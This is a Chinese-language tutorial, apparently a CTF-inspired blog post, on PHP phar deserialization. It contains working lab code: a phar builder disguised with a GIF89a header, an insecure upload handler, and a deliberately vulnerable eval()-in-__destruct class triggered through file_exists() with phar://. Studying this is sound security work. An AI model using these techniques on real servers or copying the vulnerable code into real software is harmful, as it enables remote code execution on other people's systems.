Contents
前言
在AD工作室的线上CTF的平台刚开放的时候,放出两道测试题,其中有一道题当时涉及了php的phar反序列化漏洞,当时没有认真研究只顾着拿到flag,现在来认真总结一下
Phar是什么
基本概念
phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件,用于归档。当PHP 版本>=5.3时默认开启支持PHAR文件的。
phar文件默认状态是只读,使用phar文件不需要任何的配置。
而phar://伪协议即PHP归档,用来解析phar文件内容。
phar文件结构
1、stub
一个供phar扩展用于识别的标志,格式为
xxx<?php xxx; __HALT_COMPILER();?>
前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2、manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
3、contents
被压缩文件的内容。
4、signature
签名,放在文件末尾
Demo
在了解了phar的文件结构后可以开始试着自己构建一个phar文件,PHP中内置了一个类来处理相关操作
注意:在构建phar文件前要保证php.ini文件中的phar.readonly选项为Off,并且要把前面的分号去掉,否则无法生成phar文件
构建test.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='lok';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问test.php,会在当前目录生成phar.phar文件
把此文件拖进winhex中查看(mac中没有winhex,用类似软件代替)
可以明显看到meta-data是用序列化的形式来存储的
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
构建利用phar反序列化漏洞的代码
use.php
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
访问use.php,可以看到输出了meta-data的内容
将Phar伪装成其他格式的文件
前面在介绍phar文件结构的时候提到,php识别phar文件是依靠phar文件头中的stub文件,更直接的说是依靠其中的
__HALT_COMPILER();?>
这段代码,而对前面的内容或后缀名是没有要求的,那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
利用条件
1.phar文件能被上传到服务器端
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
2.要有可用的魔术方法作为“跳板”
3.文件操作函数的参数可控,且:,/,phar等关键特殊字符没有被过滤
漏洞验证
环境准备
upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()
文件内容
upload_file.php
<?php
$tmp_file_location='/opt/lampp/htdocs/';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
$tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
upload_file.html
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
phar反序列化
</head>
<body>
<form action="http://localhost:8080/phar/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
?>
实现过程
根据file_un.php可以构造出一个生成phar文件的php文件,因为需要绕过gif验证,所以phar的文件头需要加上GIF89a,我们在访问这个文件后,会在当前目录生成phar.phar文件,修改其后缀为gif,上传至服务器,然后利用file_un.php中的file_exists()函数,用phar://执行代码
生成phar文件的代码
eval.php
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
访问eval.php文件,将生成的phar文件后缀改为gif
用winhex打开查看,确实有序列化字符串,当用phar://伪协议读取时,便会自动反序列化,引起phar://反序列化
访问upload_file.html,上传文件
接着上传文件,可以看到文件被存储到了upload_file文件夹下
用phar://执行代码即可触发反序列化漏洞